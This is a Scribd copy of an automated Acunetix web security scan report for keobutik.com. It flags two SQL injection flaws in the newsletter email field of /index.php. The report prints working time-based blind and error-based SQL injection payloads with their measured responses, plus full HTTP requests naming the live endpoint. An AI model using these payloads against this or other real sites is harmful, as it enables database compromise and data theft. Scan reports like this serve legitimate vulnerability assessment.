Scribd Logo
Upload

Welcome to Scribd!

  • 88 views

    Affected Items

    Uploaded by

    Anonymous 9QZfmX3y
    The vulnerability scan found 2 high severity issues on the keobutik.com website: 1) The script /index.php is vulnerable to SQL injection attacks due to a lack of user input filtering. This could allow malicious users to alter backend SQL statements. 2) The script /index.php was also found to be vulnerable to SQL injection via a test payload injected in the POST request. No medium or low severity issues were discovered. User input should be filtered to prevent SQL injection attacks on the website.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd

    Affected Items

    Uploaded by

    Anonymous 9QZfmX3y
    88 views5 pages
    The vulnerability scan found 2 high severity issues on the keobutik.com website: 1) The script /index.php is vulnerable to SQL injection attacks due to a lack of user input filtering. This could allow malicious users to alter backend SQL statements. 2) The script /index.php was also found to be vulnerable to SQL injection via a test payload injected in the POST request. No medium or low severity issues were discovered. User input should be filtered to prevent SQL injection attacks on the website.

    Original Description:

    KEO AİLESİ <3

    Original Title

    Affected Items (1)

    Copyright

    © © All Rights Reserved

    Available Formats

    PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The vulnerability scan found 2 high severity issues on the keobutik.com website: 1) The script /index.php is vulnerable to SQL injection attacks due to a lack of user input filtering. This could allow malicious users to alter backend SQL statements. 2) The script /index.php was also found to be vulnerable to SQL injection via a test payload injected in the POST request. No medium or low severity issues were discovered. User input should be filtered to prevent SQL injection attacks on the website.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    88 views5 pages

    Affected Items

    Uploaded by

    Anonymous 9QZfmX3y
    The vulnerability scan found 2 high severity issues on the keobutik.com website: 1) The script /index.php is vulnerable to SQL injection attacks due to a lack of user input filtering. This could allow malicious users to alter backend SQL statements. 2) The script /index.php was also found to be vulnerable to SQL injection via a test payload injected in the POST request. No medium or low severity issues were discovered. User input should be filtered to prevent SQL injection attacks on the website.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    of 5

    Affected Items

    Report
    Acunetix website audit

    12 September 2017

    WEB APPLICATION SECURITY


    Generated by Acunetix Reporter
    Selected vulnerabilities
    Scan details
    Scan information
    Start url http://keobutik.com/
    Host http://keobutik.com/

    Threat level

    Acunetix Threat Level 3

    One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these
    vulnerabilities and compromise the backend database and/or deface your website.

    Alerts distribution

    Total alerts found 2


    High 2
    Medium 0
    Low 0
    Informational 0
    Affected items
    /index.php
    Alert group Blind SQL Injection
    Severity High
    This script is possibly vulnerable to SQL Injection attacks.

    SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by
    manipulating the user input. An SQL injection occurs when web applications accept user input
    Description that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

    This is one of the most common application layer attacks currently being used on the Internet.
    Despite the fact that it is relatively easy to protect against, there is a large number of web
    applications vulnerable.
    Your script should filter metacharacters from user input.
    Recommendations
    Check detailed information for more information about fixing this vulnerability.
    Alert variants
    URL encoded POST input email was set to
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/

    Tests performed:

    if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysd
    ate(),sleep(9),0))OR"*/ => 18.172
    if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysd
    ate(),sleep(3),0))OR"*/ => 6.234
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/ => 0.672
    if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysd
    ate(),sleep(6),0))OR"*/ => 12.093
    Details
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/ => 0.219
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/ => 0.141
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/ => 0.235
    if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysd
    ate(),sleep(6),0))OR"*/ => 12.062
    if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysd
    ate(),sleep(0),0))OR"*/ => 0.422

    Original value: [email protected]


    POST /index.php?route=module/newsletters/news HTTP/1.1
    Content-Length: 128
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Referer: http://keobutik.com/
    Cookie: PHPSESSID=a7390b1df70d9afffc028fbd8d4face7; language=tr-tr; currency=TRY
    Host: keobutik.com
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
    Chrome/41.0.2228.0 Safari/537.21
    Accept: */*
    email=
    (select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)
    from(select(sleep(0)))v)%2b"*/

    /index.php
    Alert group SQL injection
    Severity High
    This script is possibly vulnerable to SQL Injection attacks.

    SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by
    manipulating the user input. An SQL injection occurs when web applications accept user input
    Description that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

    This is one of the most common application layer attacks currently being used on the Internet.
    Despite the fact that it is relatively easy to protect against, there is a large number of web
    applications vulnerable.
    Your script should filter metacharacters from user input.
    Recommendations
    Check detailed information for more information about fixing this vulnerability.
    Alert variants
    URL encoded POST input email was set to 1'"

    Details Error message found:

    You have an error in your SQL syntax

    POST /index.php?route=module/newsletters/news HTTP/1.1


    Content-Length: 9
    Content-Type: application/x-www-form-urlencoded
    Referer: http://keobutik.com/
    Cookie: PHPSESSID=a7390b1df70d9afffc028fbd8d4face7; language=tr-tr; currency=TRY
    Host: keobutik.com
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
    Chrome/41.0.2228.0 Safari/537.21
    Accept: */*
    email=1'"
    Scanned items (coverage report)
    http://keobutik.com/index.php

    You might also like